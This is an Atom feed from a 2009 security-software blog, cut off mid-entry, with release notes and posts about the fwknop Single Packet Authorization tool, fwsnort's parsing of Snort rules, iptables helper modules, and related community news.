<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">
<title type="html">CipherDyne Security</title>
<link rel="alternate" type="text/html" href="http://www.cipherdyne.org" />

<updated>2009-06-22T23:40:59-05:00</updated>
<author>
<name>Michael Rash</name>
<uri>http://www.cipherdyne.org</uri>
</author>
<id>http://www.cipherdyne.org/</id>
<generator uri="http://www.cipherdyne.org" version="3.0">
perl
</generator>

<!-- begin_stories -->
<link rel="self" href="http://feeds.feedburner.com/cipherdyne/yoUq" type="application/atom+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry>
<title type="html">Presentation on Single Packet Authorization at ENSOL</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/AJdLKkPOn1E/presentation-on-single-packet-authorization-at-ensol.html" />
<id>http://www.cipherdyne.org/blog/2009/06/presentation-on-single-packet-authorization-at-ensol.html</id>

<published>2009-06-22T21:01:30-05:00</published>
<updated>2009-06-22T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://www.ensol.org.br/2009/programacao/sexta-feira/single-packet-authorization-aumentando-a-seguranca-no-ssh">
<img class="leftnofr" src="/images/ensol_logo.png" width="130" height="130" title="SPA at ENSOL" alt="SPA at ENSOL" /></link>On
June 19th <link type="text/html" href="http://leandro-cavalcanti.blogspot.com/2008/08/single-packet-authorization.html">Leandro Almeida</link>
gave a presentation entitled "<b>Single Packet Authorization - Increasing the security in SSH</b>" at the
<link type="text/html" href="http://www.ensol.org.br/2009/programacao/sexta-feira/single-packet-authorization-aumentando-a-seguranca-no-ssh">ENSOL</link>
conference in João Person, Brazil.  ENSOL is an open source conference that goes by
the title "Freedom in the Extreme", and given that Brazil is
<link type="text/html" href="http://duartes.org/gustavo/blog/post/why-brazil-loves-linux">highly supportive of Linux</link>,
I'm sure that it is a good conference.  Leandro has posted an English translation of
his slides <link type="text/html" href="http://www.slideshare.net/lcavalcanti.almeida/single-packet-authorization-slides-english">here</link>.
It is good to see some additional presentations on the SPA concept at open source conferences,
and Leandro emphasizes the usage of the fwknop SPA implementation to protect SSH.

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/06/presentation-on-single-packet-authorization-at-ensol.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - fwsnort-1.0.6</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/Z32D28m4nuI/software-release-fwsnort-1.0.6.html" />
<id>http://www.cipherdyne.org/blog/2009/05/software-release-fwsnort-1.0.6.html</id>

<published>2009-05-30T21:01:30-05:00</published>
<updated>2009-05-30T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/fwsnort">
<img align="right" src="/images/release.png" title="software release fwsnort-1.0.6" alt="software release fwsnort-1.0.6" /></link>
The 1.0.6 release of <link type="text/html" href="/fwsnort">fwsnort</link> is ready for <link type="text/html" href="/fwsnort/download">download</link>.
This release fixes a bug that caused some Snort rules to not be translated into
iptables rules due to improper handling of escaped semicolons.  Now that this
bug has been fixed, an additional 58 rules from the Emerging Threats rule set
are now properly supported.  Also made it easier to point fwsnort at a single
file with a Snort rule set to be converted (see the --fwsnort-rfile command line
argument).
<br /><br />
Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwsnort/browser/fwsnort/tags/fwsnort-1.0.6/ChangeLog">ChangeLog</link>:
<br /><br />
<ul>
<li>(Franck Joncourt) Updated fwsnort to use the "! &lt;option&gt; &lt;arg&gt; syntax
instead of the older "&lt;option&gt; ! &lt;arg&gt; for the iptables command line.</li>
<li>(Franck Joncourt) For the --hex-string and --string matches, if the
argument exceeds 128 bytes (iptables 1.4.2) then iptables fails with an
error "iptables v1.4.2: STRING too long".  Fixes this with a patch that
adds a new variable in fwsnort.conf "MAX_STRING_LEN", so that the size of
the content can be limited. If the content (null terminated string) is
more than MAX_STRING_LEN chars, fwsnort throws the rule away.</li>
<li>Bug fix to allow fwsnort to properly translate snort rules that have
"content" fields with embedded escaped semicolons (e.g. "\;").  This
allows fwsnort to translate about 58 additional rules from the Emerging
Threats rule set.</li>
<li>Bug fix to allow case insensitive matches to work properly with the
--include-re-caseless and --exclude-re-caseless arguments.</li>
<li>Bug fix to move the 'rawbytes' keyword to the list of keywords that are
ignored since iptables does a raw match anyway as it doesn't run any
preprocessors in the Snort sense.</li>
<li>Added the --snort-rfile argument so that a specific Snort rules file (or
list of files separated by commas) is parsed.</li>
<li>Added a small hack to choose the first port from a port list until the
iptables 'multiport' match is supported.</li>
<li>Updated to consolidate spaces in hex matches in the fwsnort.sh script
since the spaces are not part of patterns to be searched anyway.</li>
<li>Updated to the latest complete rule set from Emerging Threats (see
http://www.emergingthreats.net/).</li>
<li>Added the "fwsnort-nobuildreqs.spec" file for building fwsnort on
systems (such as Debian) that do not install/upgrade software via RPM.
This file omits the "BuildRequires: perl-ExtUtils-MakeMaker" directive,
and this fixes errors like the following on an Ubuntu system when
building fwsnort with rpmbuild:
<br /><br />
<code>
rpm: To install rpm packages on Debian systems, use alien. See README.Debian.<br />
error: cannot open Packages index using db3 - No such file or directory (2)<br />
error: cannot open Packages database in /var/lib/rpm
</code>
<br /><br />
</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/05/software-release-fwsnort-1.0.6.html</feedburner:origLink></entry>

<entry>
<title type="html">Handling Escaped Semicolons in Snort Rules with fwsnort</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/LlGWYsNoFxc/handling-escaped-semicolons-in-snort-rules-with-fwsnort.html" />
<id>http://www.cipherdyne.org/blog/2009/05/handling-escaped-semicolons-in-snort-rules-with-fwsnort.html</id>

<published>2009-05-27T21:01:30-05:00</published>
<updated>2009-05-27T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwsnort/changeset/489">
<img align="right" src="/images/escape_key.jpg" height="115" width="127" title="fwsnort and escaped semicolons in Snort rules" alt="fwsnort and escaped semicolons in Snort rules" /></link>
Recently I ran into a situation in which several Snort rules from the
<link type="text/html" href="http://www.emergingthreats.org">Emerging Threats</link> rule sets were not
being properly translated into iptables rules by <link type="text/html" href="/fwsnort">fwsnort</link>.
It turned out that fwsnort did not correctly parse Snort <b>content</b> fields
that contained escaped semicolons (e.g. "<b>\;</b>").  In the Snort signature
language, the argument to every keyword in the body of a Snort rule such as
<b>content</b>, <b>pcre</b>, and <b>flowbits</b> is terminated with a semicolon,
and some keywords also use opening and closing double quotes.  But, Snort
supports escaping with a backslash so that these characters can easily be made
to be part of a keyword argument as opposed to the delimiting syntax.  Snort
does not allow the argument of a <b>content</b> keyword to contain an embedded
semicolon that is not escaped (e.g. <b>content:"distloc=;";</b>), and will generate
an error similar to the following if a rule does not conform to this:
<br /><br />
<code>
Initializing rule chains...<br />
ERROR: /etc/snort/rules/web-cgi.rules(3) =&amp; Content data needs to be enclosed in quotation marks (")!<br />
Fatal Error, Quitting..
</code>
<br /><br />
In this case, we change <b>content:"distloc=;";</b> to <b>content:"distloc=\;";</b>
and the error goes away.  However, in addition to the escaping mechanism, any
double quote or semicolon that is part of a <b>content</b> field can just be
specified in hex notation between pipe "|" characters instead.
<br /><br />
So, what are the tradeoffs in using one convention vs. the other?
<br /><br />
Using backslashes can complicate the way an argument looks (since backslashes
are not part of the content that is actually searched for in network traffic),
but they can also make the argument more intuitive to look at than the hex
syntax.  This can be important when looking at lots of packet traces.  For
example, in web traffic the semicolon is used in
<link type="text/html" href="http://www.faqs.org/rfcs/rfc2396.html">HTTP request headers</link> as a
separator and therefore has special significance in HTTP, and the semicolon is
also a separator for multiple commands launched from a command shell.  So, for
those that don't automatically know the hex equivalent of a semicolon (<b>0x3b</b>),
it might be better to look at <b>content:"distloc=\;";</b> instead of
<b>content:"distloc=|3B|";</b> when interpreting signature matches against
raw packet traces since it emphasizes the importance of the semicolon.
<br /><br />
There are important examples of Snort rule sets that use each strategy for the
arguments to content fields (escaped semicolons vs. the hex equivalent).  The
complete Emerging Threats <link type="text/html" href="http://www.emergingthreats.net/rules/emerging-all.rules">rule set</link>
contains 58 signatures with escaped semicolons:
<br /><br />
<code>
$ perl -lwne 'while (/content:"(.*?)"/g) { $tmp = $1; if ($tmp =~ /\x3b/) { print $tmp; }} ' emerging-all.rules |wc -l<br />
58
</code>
<br /><br />
Note that the '<b>while (/content:"(.*?)"/g)</b>' loop is necessary above in order to
parse all content fields from each Snort rule - using something like
'<b>if (/content:"(.*?)"/</b>' would just parse the very first content field in each
Snort rule.  Here is an example content field from the "ET MALWARE Vaccine-program.co.kr
Related Spyware Checkin" signature:
<br /><br />
<code>
|0d 0a|User-Agent\: Mozilla/3.0 (compatible\; Indy Library)|0d 0a|
</code>
<br /><br />
By contrast, I've seen a few Sourcefire VRT rule sets, and none of them appear to
use escaped semicolons in any of their signatures.  They always prefer to use the
"<b>|3B|</b>" hex notation.
<br /><br />
Now, why is this important for fwsnort?  The reason is that the current version -
fwsnort-1.0.5 - does not properly parse content fields with escaped semicolons.
However, this will be corrected in the upcoming fwsnort-1.0.6 release, which will
be completed within the next two days or so.  In the meantime, here is a link to
<link type="text/html" href="http://www.cipherdyne.org/fwsnort/download/fwsnort-1.0.6-pre4.tar.gz">
fwsnort-1.0.6-pre4</link> that corrects this issue.
</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/05/handling-escaped-semicolons-in-snort-rules-with-fwsnort.html</feedburner:origLink></entry>

<entry>
<title type="html">Joined Twitter</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/vCj6RnbJAls/joined-twitter.html" />
<id>http://www.cipherdyne.org/blog/2009/05/joined-twitter.html</id>

<published>2009-05-26T21:01:30-05:00</published>
<updated>2009-05-26T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://twitter.com/michaelrash">
<img align="right" src="/images/twitter_logo.png" title="Joined Twitter" alt="Joined Twitter" /></link>
<link type="text/html" href="http://www.aplura.com/">Sean Wilkerson</link> convinced me to
<link type="text/html" href="http://twitter.com/michaelrash">join Twitter</link> as a way to help increase
the exposure that the Cipherdyne projects have on the Internet, and also to
interact more with peers in the security community.  After having used Twitter now
for a couple of weeks, I can see some benefit in its ability to rapidly broadcast
updates (140 characters at a time) and to make it easy to see what others are
working on (subject to what they choose to reveal of course).  Further, it seems
plausible that Twitter's flexibility and speed would make it easier to acquire
answers to questions than trying to contact people directly via email.  Sean also
had mentioned that after a recent talk he gave at <link type="text/html" href="http://www.dojosec.com">
DojoSec</link> (hopefully video of it will be posted soon) he noticed that people are
using Twitter during security talks as a way to organize the audience around the
topic at hand.  This provides a way for the audience to converge on challenging
questions and bring participation to a higher level.  Finally, as a measure of its
success, it might be worth noting that Twitter has also been in the news recently
as a mechanism for organizing a <link type="text/html" href="http://www.wired.com/dangerroom/2009/04/inside-moldovas/">
revolution</link> in the former-Soviet republic of Moldova.
</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/05/joined-twitter.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - fwknop-1.9.11</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/zy685at7Dd0/software-release-fwknop-1.9.11.html" />
<id>http://www.cipherdyne.org/blog/2009/05/software-release-fwknop-1.9.11.html</id>

<published>2009-05-11T21:01:30-05:00</published>
<updated>2009-05-11T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/fwknop">
<img align="right" src="/images/release.png" title="software release fwknop-1.9.11" alt="software release fwknop-1.9.11" /></link>
The 1.9.11 release of <link type="text/html" href="/fwknop">fwknop</link> is ready for <link type="text/html" href="/fwknop/download">download</link>.
The major feature addition in this release is the ability to utilize ipfw
'sets' to organize new rules added by the fwknopd daemon on Mac OS X or
FreeBSD systems after receiving a valid SPA packet.  A couple of other
features were added as well, such as user-defined type and code values
for SPA packets sent over ICMP, and support in the test suite for running
specific chains of related tests.
<br /><br />
Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/browser/fwknop/tags/fwknop-1.9.11/ChangeLog">ChangeLog</link>:
<br /><br />
<ul>
<li>(Julien Picalaus) Contributed patches to implement a proper interface to
use ipfw 'sets' on systems running ipfw firewalls.  This involved
changes to fwknopd, knoptm, and the fwknop.conf file like so:
Added a test to see if the local ipfw firewall policy is using dynamic
rules. Added ipfw_move_rule() so that rules can be moved from one set to
another. Added ipfw_disable() set subroutine and it is called at init for
IPFW_SET_NUM (except when ipfw isn't using dynamic rules).  Made sure
that rule finding includes disabled rules (ipfw list -S and changes to
regexp) and returning the set in addition to the rule number.  When
granting access, if a corresponding disabled rule already exists, enable
it instead of adding a new one (except when ipfw isn't using dynamic
rules). When adding rules, only use keep-state if there are already
dynamic rules.  Added IPFW_SET_NUM so that the set number for new ipfw
can be specified, and add IPFW_DYNAMIC_INTERVAL so that the interval
over which rules that have no associated dynamic rules are removed (the
default is 60 seconds).</li>
<li>(Franck Joncourt) Bug fix to add -O command line arg to knopwatchd to
specify an override config file if one is given on the fwknopd command
line.</li>
<li>Added --icmp-type and --icmp-code command line arguments for the fwknop
client in order to manually set the ICMP type/code values when using
"--Spoof-proto icmp" or "--Server-proto icmp".  Also restructured how
SPA packets are sent over the various protocols.  Here is an example of
sending an SPA packet over an ICMP packet with type "123" and code
"123" (not normal ICMP type/code values) with the pcap trace shown:
<br />
<br /><br />
<code>
# fwknop -A tcp/22 -s --Server-proto icmp --icmp-type 123 --icmp-code 123 -D 127.0.0.1<br />
# tcpdump -i lo -l -nn icmp or udp -s 0 -X<br />
tcpdump: verbose output suppressed, use -v or -vv for full protocol<br />
decode listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes<br />
  07:24:32.527221 IP 127.0.0.1 &gt; 127.0.0.1: ICMP type-#123, length 169<br />
    0x0000:  4510 00bd 0000 4000 4001 3c2e 7f00 0001  E.....@.@.&lt;.....<br />
    0x0010:  7f00 0001 7b7b e66f 0000 0000 2b63 6a6f  ....{{.o....+cjo<br />
    0x0020:  5049 6138 7345 7a35 4864 7955 5176 624b  PIa8sEz5HdyUQvbK<br />
    0x0030:  6637 6f51 5934 4e36 4c6c 3454 6931 4453  f7oQY4N6Ll4Ti1DS<br />
    0x0040:  2b4f 3756 6636 4775 6234 756f 6738 4432  +O7Vf6Gub4uog8D2<br />
    0x0050:  3155 4377 5259 6b52 2b30 354b 7043 6b33  1UCwRYkR+05KpCk3<br />
    0x0060:  4f66 452f 4f32 6737 6d37 5064 4846 4842  OfE/O2g7m7PdHFHB<br />
    0x0070:  7a32 4745 3766 7a31 4a4c 7652 764e 626c  z2GE7fz1JLvRvNbl<br />
    0x0080:  7a4a 7250 5355 3665 5051 5375 7a54 394b  zJrPSU6ePQSuzT9K<br />
    0x0090:  702b 4446 4a79 7a6b 3847 6c51 6a70 3564  p+DFJyzk8GlQjp5d<br />
    0x00a0:  3957 3673 4f52 7945 3771 6f57 6b56 634e  9W6sORyE7qoWkVcN<br />
    0x00b0:  4e41 6167 6231 5a79 6a63 4834 49         NAagb1ZyjcH4I
</code>
<br /><br />
</li>
<li>Updated all unpack() calls for packet decoding in fwknopd to use the
"mN" format instead of "m[N]" format for proper operation on older
versions of perl.  On FreeBSD 7.0 with perl-5.6.2 the following error
is generated without this fix: "Invalid type in unpack: '['".</li>
<li>Bug fix to not require that gpg is installed in order to install fwknop.</li>
<li>(Franck Joncourt) Documentation updates for the knopwatchd.8 man page
to include the latest command line options.</li>
<li>(Martin Ferrari) Bug fix to provide a work around for fwknopd segfaults
on Debian systems when the version of Net::Pcap that is installed comes
from doing 'apt-get install fwknop-server'.  See the thread at
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508432 for more info.</li>
<li>Bug fix to ensure that UDP rules in ipfw firewalls are timed out
correctly by knoptm (the problem was that 'keep-state' was required).</li>
<li>(Test suite): Added tests for multi-port access requests.  So, to gain
access to tcp/22,udp/1194 with one SPA packet, the test suite verifies
that the code support this.</li>
<li>(Test suite): Started on updates to handle the upcoming libfko C
implementation of Single Packet Authorization (the command line args
are somewhat different).</li>
<li>(Test suite): Added support for multiple include/exclude test
identifying strings (separated by commas).  For example, to run the
'Setup', 'Basic', and 'Replay' tests, just do:
<br />
./fwknop_test.pl --include Setup,Basic,Replay
</li>
<li>(Test suite): Added the ability to test sending SPA packets over ICMP.</li>
<li>(Test suite): Added import_perl_modules() routine from fwknop itself to
enforce the usage of the same perl modules as those that fwknop
references.  The main application of this is for the Net::RawIP module
which is used by the test suite for the SPA over ICMP tests.</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/05/software-release-fwknop-1.9.11.html</feedburner:origLink></entry>

<entry>
<title type="html">Building a Native Windows fwknop.exe Binary</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/M3ETg-9gPxE/building-a-native-windows-fwknop.exe-binary.html" />
<id>http://www.cipherdyne.org/blog/2009/05/building-a-native-windows-fwknop.exe-binary.html</id>

<published>2009-05-02T21:01:30-05:00</published>
<updated>2009-05-02T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://strawberryperl.com">
<img class="left" src="/images/strawberry_perl.jpg" height="120" width="120" title="Native Windows fwknop.exe" alt="Native Windows fwknop.exe" /></link>
Julien Picalaus recently posted a message to the fwknop mailing list in which he
explains how to use <link type="text/html" href="http://strawberryperl.com">Strawberry Perl</link>
(reportedly what Larry Wall uses for his perl distribution on Windows systems)
along with the <link type="text/html" href="http://search.cpan.org/~autrijus/PAR-0.85_01/script/pp">
Perl Packager</link> to create a native Windows binary for the fwknop client.  The
result is a functional <b>fwknop.exe</b> binary that can be used on Windows
systems to gain access to services protected by an fwknopd server running on
other systems with iptables or ipfw policies.
<br /><br />
At some point, if fwknopd is modified to hook into a Windows firewalling API,
then this same technique could be used create stand alone fwknopd binaries for
Windows as well.  This would extend Single Packet Authorization (SPA) firmly
into the Windows world.  In the meantime, Julien's instructions for the fwknop
client are as follows:
<br /><br />
<ul>
<li>Install strawberry perl.</li>
<li>Use CPAN to install Crypt::CBC and Crypt::Rijndael (required by fwknop).</li>
<li>Grab the fwknop sources and try to run perl fwknop -whatever options you
need, to make sure it works. Apparently, you need to provide the --Home
option since fwknop can't find home folders without it.</li>
<li>Use CPAN to install Module::ScanDeps, PAR::Dist, PAR, PAR::Packer.</li>
<li>Run pp -c -M Crypt::Rijndael -o fwknop.exe fwknop (at least this worked for
me, not sure why I had to specify the Rijndael module manually).</li>
<li>You have fwknop.exe.</li>
</ul>
</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/05/building-a-native-windows-fwknop.exe-binary.html</feedburner:origLink></entry>

<entry>
<title type="html">IPTables::ChainMgr Used in PacketFence</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/gJtQcYAO-Vg/iptables-chainmgr-used-in-packetfence.html" />
<id>http://www.cipherdyne.org/blog/2009/02/iptables-chainmgr-used-in-packetfence.html</id>

<published>2009-02-19T21:01:30-05:00</published>
<updated>2009-02-19T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://www.packetfence.org/en/home.html">
<img align="right" src="/images/packetfence_logo.png" title="IPTables::ChainMgr used in packetfence" alt="IPTables::ChainMgr used in packetfence" /></link>
The <link type="text/html" href="/modules/">IPTables::ChainMgr</link> module is now used by
the <link type="text/html" href="http://www.packetfence.org/en/home.html">PacketFence</link> NAC system in the
latest 1.8.0 release.  The module is used to build iptables rules that match on source MAC
addresses, set a connection mark, and jump packets into a dedicated MARK chain.
<br /><br />
The latest release of the IPTables::ChainMgr module is 0.9 (available as of Feb 11th),
and can be
<link type="text/html" href="http://search.cpan.org/~mrash/IPTables-ChainMgr-0.9/lib/IPTables/ChainMgr.pm">downloaded</link>
from CPAN.  The changes since the 0.8 release are:
<br /><br />
<ul>
<li>Added Net::IPv4Addr prerequisite to Makefile.PL (patch submitted by
Dominik Gehl).</li>
<li>Updated perldoc documentation to properly discuss the delete_chain()
API.  The material about the $jump_from_chain was missing (Darien
Kindlund reported this issue).</li>
<li>Applied patch from Darien Kindlund to add the ability to specify the
source MAC address via the --mac-source &lt;addr&gt; command line argument to
iptables.</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/02/iptables-chainmgr-used-in-packetfence.html</feedburner:origLink></entry>

<entry>
<title type="html">Art of Information Security Interview</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/wd9XsCnrZes/art-of-information-security-interview.html" />
<id>http://www.cipherdyne.org/blog/2009/02/art-of-information-security-interview.html</id>

<published>2009-02-19T21:01:30-05:00</published>
<updated>2009-02-19T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://artofinfosec.com/280/aois-interviews-michael-rash-part-1/">
<img align="right" src="/images/artofinfosec_cropped.jpg" title="artofinfosec interview part 1" alt="artofinfosec interview part 1" width="140" height="115" /></link>
Erik Heidt from the <link type="text/html" href="http://artofinfosec.com">Art of Information Security</link> recently
<link type="text/html" href="http://artofinfosec.com/280/aois-interviews-michael-rash-part-1/">interviewed me</link>
on various topics in computer security, and this is the first part.  The history of
the <link type="text/html" href="/psad">psad</link> project from its roots in
<link type="text/html" href="http://www.bastille-unix.org/index.html">Bastille Linux</link> along with
psad's three main goals for enhancing Linux system security are covered.  Erik
concentrates on current issues in Information Security, and writes a series
called "<link type="text/html" href="http://artofinfosec.com/tag/secure-your-linux-host-series/">Secure Your Linux Host</link>".
Some of the latest articles in this series discuss locking down SSH.  Thanks
to Erik for the opportunity to respond to his interview questions.
<br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/02/art-of-information-security-interview.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - fwknop-1.9.10</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/2DGG1bNL03w/software-release-fwknop-1.9.10.html" />
<id>http://www.cipherdyne.org/blog/2009/01/software-release-fwknop-1.9.10.html</id>

<published>2009-01-12T21:01:30-05:00</published>
<updated>2009-01-12T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/fwknop">
<img align="right" src="/images/release.png" title="software release fwknop-1.9.10" alt="software release fwknop-1.9.10" /></link>
The 1.9.10 release of <link type="text/html" href="/fwknop">fwknop</link> is ready for <link type="text/html" href="/fwknop/download">download</link>.
This release adds a few new features such as the ability to send SPA packets
over HTTP requests, and the ability to sniff interfaces without requiring
any IP address to be assigned.  Several minor bug fixes were made as well
such as restoring the ability to send SPA packets over ICMP and properly
decode them on the fwknopd server system.
<br /><br />
Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/browser/fwknop/tags/fwknop-1.9.10/ChangeLog">ChangeLog</link>:
<br /><br />
<ul>
<li>Added the ability to send SPA packet over HTTP to a webserver.  This
requires that the same running fwknopd is also running a webserver, or
that ENABLE_TCP_SERVER is enabled so that fwknopd spawns fwknop_serv to
listen on a real TCP socket.  Sending SPA packets over HTTP is
accomplished with a new command line argument --HTTP on the fwknop
client command line, and via a new configuration variable
ENABLE_SPA_OVER_HTTP in the fwknop.conf file.</li>
<li>Added ENABLE_EXTERNAL_CMDS for fwknopd to control whether the
EXTERNAL_CMD_OPEN and EXTERNAL_CMD_CLOSE directives are used (instead of
just checking whether they are set to __NONE__).</li>
<li>Bug fix to make sure to properly construct hash reference for the
"include" command list for the check_commands() function when checking
for the mail command.</li>
<li>Bug fix for fwknopd to not require Net::Pcap::lookupnet() to succeed on
interfaces with no IPv4 address assigned.  This function sets the IP and
netmask of the local interface, but if fwknopd sniffs an interface
without any IP assigned, then such information will not necessarily
exist.</li>
<li>Bug fix to add --Override config support to knopwatchd (Franck
Joncourt).</li>
<li>Bug fix to add client timeout (--fw-timeout) support to both forward
NAT and local NAT modes (Damien Stuart).  This required increasing the
number of expected fields in decrypted SPA packets in fwknopd.</li>
<li>Bug fix in the install.pl script for Cygwin systems (or others where a
client-mode only install is done) to take into account the newer perl
library path handling code.</li>
<li>Updated minimum ICMP header length to 8 bytes in fwknopd to accept
spoofed SPA packets over ICMP echo requests.</li>
<li>Added config dumping support to knopwatchd with -D (Franck Joncourt).</li>
<li>Minor code cleanups and updates to knopwatched (such as the usage of
isspace() to allow tab chars between variable names and values in the
fwknop.conf file (Franck Joncourt).</li>
<li>Added ENABLE_COOKED_INTF to force fwknopd to always treat the sniffing
interface as the "cooked" interface type found on Linux.</li>
<li>Updated knopwatchd to allow more than one overwrite file (Franck
Joncourt).</li>
<li>Added --Single-mod-install to the perl installer so that individual
module dependencies can be installed piecemeal.</li>
<li>(Test suite): Bug fix for the proper usage of the 'ps' command on
FreeBSD and Mac OS X systems.  The test suite now runs successfully on
these systems after this fix.</li>
<li>(Test suite): Added the ability to test sending SPA packets over
established TCP connections with the fwknop_serv daemon.</li>
<li>(Test suite): Added support for collecting *.warn and *.die output for
each test as it is executed and appending this data to each test output
file.</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2009/01/software-release-fwknop-1.9.10.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - fwknop-1.9.9</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/VjBOWksSu9I/software-release-fwknop-1.9.9.html" />
<id>http://www.cipherdyne.org/blog/2008/11/software-release-fwknop-1.9.9.html</id>

<published>2008-11-13T21:01:30-05:00</published>
<updated>2008-11-13T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/fwknop">
<img align="right" src="/images/release.png" title="software release fwknop-1.9.9" alt="software release fwknop-1.9.9" /></link>
The 1.9.9 release of <link type="text/html" href="/fwknop">fwknop</link> is ready for <link type="text/html" href="/fwknop/download">download</link>.
This is a fairly major update to allow integration with third party applications
with the ability to execute external programs on SPA open and SPA close.  There
were also updates made to the fwknop signal handling code, the IPTables::ChainMgr
and IPTables::Parse modules for Linux systems, and a few bug fixes as well.<br /><br />
There will probably be a 1.9.10 release before the 2.0 release, and it will most
likely include support for the <link type="text/html" href="http://www.openbsd.org/faq/pf/">PF firewall</link>,
and more advanced support for using SPA in the
<link type="text/html" href="http://aws.amazon.com/ec2/">Amazon EC2</link> cloud computing service.
<br /><br />
Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/browser/fwknop/tags/fwknop-1.9.9/ChangeLog">ChangeLog</link>:
<br /><br />
<ul>
<li>Added support to fwknop for the Linux 'any' interface which allows SPA
packets to be received on multiple interfaces on a Linux system.  This
is useful for running fwknop on a dual-homed Linux host, and then
accepting SPA packets on either the internal or external interface so
that SPA packets can influence the packet filter from either network.</li>
<li>Added support for interfacing fwknop with third party software through
the addition of three new variables in the access.conf file (or set
globally in the fwknop.conf file): EXTERNAL_CMD_OPEN,
EXTERNAL_CMD_CLOSE, and EXTERNAL_CMD_ALARM.
The "open" and "close" commands might be manually supplied firewall
commands, and both support variable substitution of any of the variables
in the access.conf file with "$VAR".  Also, three special variables are
supported: $SRC, $PORT, and $PROTO, which are derived from actual values
from within valid SPA packets (as opposed to $SOURCE from access.conf
which may contain a list of networks instead of a single IP address).
Here are some examples:
<br />
Execute a specific iptables command on behalf of the source IP
in a valid SPA packet to add a new ACCEPT rule, and execute another
command (to delete the same rule after a timeout):<br />
EXTERNAL_CMD_OPEN       iptables -A INPUT -s $SRC -j ACCEPT<br />
EXTERNAL_CMD_CLOSE      iptables -D INPUT -s $SRC -j ACCEPT</li>
<li>Execute a custom binary with the SOURCE and OPEN_PORTS variables from
the access.conf file as input on the command line, and after a
timeout execute a different program but use the real SPA source IP:<br />
EXTERNAL_CMD_OPEN       /path/someprog $SOURCE $OPEN_PORTS<br />
EXTERNAL_CMD_OPEN       /path/otherprog $SRC</li>
<li>Added IPT_CMD_ALARM to control the number of seconds that the
IPTables::ChainMgr module uses to wrap alarm() calls around iptables
commands (for IPTables::ChainMgr 0.8 and later, although this does not
interfere with earlier versions of the module).</li>
<li>Added IPT_EXEC_STYLE to control the execution method used for iptables
commands in the IPTables::ChainMgr module.  The default is "waitpid",
